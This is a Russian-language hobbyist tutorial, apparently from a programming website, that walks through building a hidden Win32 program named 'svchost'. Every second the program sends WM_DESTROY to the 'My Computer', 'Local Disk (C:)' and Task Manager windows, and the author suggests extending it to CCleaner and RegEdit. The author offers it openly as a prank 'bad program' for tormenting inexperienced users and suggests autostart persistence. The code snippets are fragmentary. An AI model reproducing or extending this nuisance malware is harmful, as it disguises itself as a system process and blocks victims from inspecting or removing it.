Начну с того, что программы могут обмениваться сообщениями. То есть, нажав на кнопку в одной, можно вывести текст в другой. Но это касается не только текста и графики. Сообщение передаётся не таким типом, как "Найти процесс ТАКОЙ_ТО и сделай то то конкретно", а так, сначала программа находит другую программу либо по дескриптору, либо, если он не известен, по заголовку окна. После нахождения программой другого окна, можно передать обычное сообщение PostMessage, в котором указывается на ту команду оконной процедуры, которую необходимо выполнить. Например WM_PAINT. Предположительно, почти любой (ибо я не проверял) программе можно послать сообщение о её закрытии, путём передачи команды WM_DESTROY.
Я решил проверить этот способ, и запустил программу Finale 2010. Она была запущена, и одновременно была открыта папка где она лежала. Заголовок папки тоже был как и в программе "Finale 2010". Но после тестирования, программа не закрылась. И к своему ужасу я увидел, как папка Finale 2010 стала пустой. Я удивился, как всё смогло удалиться, если программа работает. Оказывается, папка получила сообщение WM_DESTROY, но не закрылась. Может быть это Баг, может глюк Windows. Открыл эту папку в новом окне, и все файлы были на месте. Эта ситуация натолкнула меня на создание вредной программы, которая посылает WM_DESTROY указанным папкам.
Нам нужно создать пустой проект Win32
Во вкладке Application Settings ставим галочку на Empty project. То есть - пустой проект.
В свойствах проекта нужно указать Character Set как Use Multy-Byte Character Set
Можно писать и с Unicode Character Set, но только нужно будет указывать в некоторым местах дополнительные символы.
Код добавляется по степенно, то есть, копируя и вставляя вы получите полный исходный код программы.
Код
#include <Windows.h>
int InitApp(HINSTANCE a1); HWND hWnd, hWnd2, hWnd3; #define TIMER_SECOND 1
Указываем заголовочный файл, прототип функции инициализации окна, дескрипторы окон, и макрос, указывающий время периода в секундах, по истечении которого программа отсылает сообщение о закрытии окна.
Код
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hinst, PSTR str, int OknIcon) { MSG msg;
switch(message) { case WM_DESTROY: PostQuitMessage(0); return 0;
Обработка сообщений. Команда WM_DESTROY как бы означает нажатие на красный крестик. В нашем случае окно не будет отображаться, и данный case по сути будет лишним.
Код
case WM_TIMER:
switch (wParam) { case TIMER_SECOND:
hWnd2 = FindWindow(0,"Мой компьютер"); hWnd3 = FindWindow(0,"Локальный диск (C:)");
Теперь обработка сообщения, в случае если оно поступило от таймера. Когда отсчитает 1 секунда, выполниться case TIMER_SECOND: Это сделано специально чтобы нельзя было открыть Мой компьютер в нескольких окнах - они все будут неработоспособными.
В дескриптор hWnd2 и hWnd3 мы вносим дескрипторы окон, имеющие соответствующие заголовки. Далее по условию, окну с указанным дескриптором посылается сообщение о закрытии программы.
Код
int InitApp(HINSTANCE hInst) { LPCTSTR Name = "svchost"; WNDCLASS wc;
Стандартная функция инициализации окна. Окно у нас не отображается, процесс можно увидеть только в Диспетчере задач.
Это всё. Достаточно для головной боли неопытного пользователя. Можно ужесточить ситуацию, указав больше названий окон, программ. Можно добавить программу в автозагрузку, вставив код
Приложение будет запускаться каждый раз, и будет висеть с названием svchost.exe Однако знающие увидят, что оно запущено от имени администратора, и её можно закрыть без сбоя системы.
Так же можно сделать чтобы диспетчер задач закрывался как и остальные окна. Для этого, в глобальных переменных определяем ещё один дескриптор hWnd4, и вставляем код в case TIMER_SECOND:
Код
hWnd4 = FindWindow(0,"Диспетчер задач Windows"); if(hWnd4){ PostMessage(hWnd4,WM_DESTROY,(WPARAM)hWnd,0);}
Запустите Ccleaner и найдите в автозагрузке наш процесс. Можно попробовать закрыть и Ccleaner, и RegEdit...
Конечно, можно сделать более вредную программу используя другие алгоритмы. Но я только учусь, только осваиваю сообщения и всё. Но и этих знаний достаточно. Тестировал на Windows XP.
Будьте осторожны, и лучше изучите предназначения процессов, отображённых диспетчере задач!
Также если вы считаете, что данный материал мог быть интересен и полезен кому-то из ваших друзей, то вы бы могли посоветовать его, отправив сообщение на e-mail друга:
Игровые объявления и предложения:
Если вас заинтересовал материал «Простой пример "плохой" программы», и вы бы хотели прочесть что-то на эту же тему, то вы можете воспользоваться списком схожих материалов ниже. Данный список сформирован автоматически по тематическим меткам раздела.
Предлагаются такие схожие материалы:
Если вы ведёте свой блог, микроблог, либо участвуете в какой-то популярной социальной сети, то вы можете быстро поделиться данной заметкой со своими друзьями и посетителями.
Благодаря команде WM_DESTROY: можно закрыть эту программу, написав другую. Основываясь на коде, добавив автозапуск, можно по сути сделать не "плохую" программу, а программу ЗАЩИТЫ компьютера от использования его другими лицами! То есть, кто запустит компьютер, не сможет нормально с ним работать. Программа будет мешать этому. Можно написать программу отключения ЭТОЙ защиты, например, засунув её в папку С:\Documents and Settings\(имя юзера) И уже через командную строку запустить дезактиватор. И защита будет отключена. Конечно, это явно крайний случай защиты компа, оригинальнее простого пароля. Да и несомненно продвинутые пользователи используют СТОРОННИЕ средства защиты, куда уж использовать эту "поделку"...